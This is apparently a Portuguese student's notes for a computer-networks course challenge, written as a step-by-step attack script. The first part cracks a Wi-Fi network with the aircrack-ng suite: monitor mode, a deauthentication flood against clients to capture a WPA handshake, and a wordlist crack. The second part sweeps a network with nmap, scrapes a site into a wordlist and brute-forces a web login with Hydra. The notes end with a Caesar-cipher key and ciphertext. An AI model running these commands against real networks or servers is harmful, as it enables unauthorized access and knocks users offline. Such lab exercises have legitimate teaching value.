Desafio N2 - Tópicos Avançados em Redes de Computadores

quarta-feira, 20 de setembro de 2023 22:52

Script

Quebra do wifi:

- Troque o padrão de tecla para ABNT 2

setxkbmap - model abnt2 -layout br

iwconfig

airmon-ng check kill

airmon-ng

airmon-ng start wlan0

airodump-ng wlan0mon

airodump-ng wlan0mon -d {MAC ADDR}

airodump-ng -w hack -c {Channel} --bssid {MAC ADDR} wlan0mon

- Abrir uma nova janela do terminal

aireplay-ng --deauth 0 -a {MAC ADDR} wlan0mon

- No primeiro terminal ele deve capturar o HandShake

OOOUU

- Abrir o código busca_por_wl.py

python busca_por_wl.py

wireshark hack.cap

aircrack-ng senha-01.cap -w 'MEU_ARQUIVO'

airmon-ng stop wlan0mon
aircrack-ng hack.cap -w /usr/share/wordlists/rocky

- Esperar para encontrar a senha

Invasão do Server:

- Encontrar o target:

nmap -sP network/mask

- Gerar uma wordlist

curl "{URL}" | sed 's/[^a-zA-Z]/ /g' | tr 'A-Z ' 'a-z\n' | grep '[a-z]' | sort -u > /tmp/wordlist.txt

- Quantas palavras foram capturadas?

wc -w < wordlist.txt

- Incluir uma senha no fim da WL

echo "insper" >> wordlist.txt

tail wordlist.txt

- Visualizar o arquivo existente

cat wordlist.txt

OOOUU

- Invocar o Hydra para brutforce no servidor

hydra {URL} http-form-post "/userinfo.php:uname=^USER^&pass^PASS^:login page" -L {WordList Username} -P {WordList Password} -V

- Abrir o código busca_por_wl.py

python busca_por_wl.py

hydra {URL} http-form-post "/userinfo.php:uname=^USER^&pass^PASS^:login page" -L {WordList Username} -P {WordList Password} -V

Chave de criptigrafia = 1994
Usar cifra de cesar

FELLHLB